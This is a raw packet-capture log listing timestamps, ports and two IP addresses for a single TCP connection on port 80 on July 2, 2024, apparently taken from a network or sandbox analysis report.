Jul 2, 2024 04:12:14.281171083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281188011 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281192064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281214952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281228065 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281378984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281388998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281404972 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281426907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281449080 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281466961 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281514883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281573057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281583071 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281622887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281627893 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281636000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281651020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281657934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281666994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281671047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281687021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281702995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281707048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281738043 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281819105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281830072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281847000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281858921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281864882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281871080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281887054 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281888962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281903028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.281903982 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281927109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.281943083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307746887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307795048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307809114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307820082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307908058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307908058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307908058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307908058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307944059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307955027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307971001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307981014 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.307981014 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.307991028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308001041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308008909 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308016062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308027983 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308028936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308044910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308058023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308059931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308074951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.308075905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308103085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.308120966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.338915110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.338937044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.338946104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.338959932 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.338989973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.338989973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339003086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339011908 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339026928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339035988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339040041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339046001 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339056015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339065075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339067936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339076042 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339081049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339095116 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339111090 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339116096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339124918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339142084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339148045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339152098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.339170933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339179039 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.339190960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372080088 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372102022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372111082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372121096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372128010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372148037 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372148037 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372163057 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372208118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372219086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372234106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372236013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372246981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372247934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372270107 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372286081 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372318029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372327089 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372343063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372350931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372353077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372360945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372369051 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372379065 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372383118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372389078 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372399092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372410059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372410059 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372420073 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372431040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372433901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372442007 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372442961 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372458935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372462988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372468948 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372488022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372489929 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372490883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372504950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372514963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372519016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372536898 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372545958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372550964 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372562885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372566938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372579098 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372579098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372594118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372601032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372608900 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372626066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372658014 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372675896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372687101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372692108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372699976 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372710943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372713089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372725964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372730017 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372740984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372741938 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372754097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372765064 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372769117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372777939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372790098 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372793913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.372812033 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.372818947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373001099 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373011112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373016119 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373028040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373039007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373040915 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373059988 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373063087 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373070955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373083115 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373085976 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373091936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373101950 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373106956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373111010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373123884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373126984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373131990 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373136044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373146057 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373152971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373161077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373162031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373171091 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373178959 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373187065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373189926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373198986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373214960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373325109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373357058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373430014 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373440981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373455048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373457909 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373465061 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373473883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373481035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373490095 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373513937 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373516083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373527050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373536110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373550892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373560905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373569965 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373569965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373579979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373591900 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373595953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373605013 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373613119 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373621941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373630047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373636961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373648882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373661995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373671055 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373675108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373687029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373723030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373747110 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373806000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373815060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373831034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373837948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373841047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373857021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373858929 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373866081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373878956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373879910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373893976 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.373900890 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.373927116 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396013021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396024942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396039963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396071911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396095991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396106958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396116018 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396131992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396138906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396141052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396156073 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396158934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396168947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396193027 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396420002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396430016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396450996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396466017 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396496058 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396529913 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396557093 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396565914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396584988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396589041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396596909 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396601915 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396615028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.396616936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396630049 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.396639109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429665089 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429673910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429691076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429722071 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429754972 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429758072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429766893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429785967 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429790020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429800987 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429806948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429816008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429822922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429826021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429841995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429841995 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429857969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429897070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429907084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429914951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429929018 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429938078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429940939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429951906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429955959 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.429980993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.429995060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460237980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460248947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460267067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460316896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460330963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460335970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460350990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460364103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460515022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460526943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460527897 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460527897 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460545063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460550070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460562944 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460582972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460606098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460617065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460630894 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460640907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460647106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460661888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460691929 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460810900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460854053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460864067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460874081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460906029 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.460974932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.460997105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461010933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461014032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461026907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461030006 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461040020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461045027 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461066008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461066961 CEST	49705	80	192.168.2.5	77.91.77.81
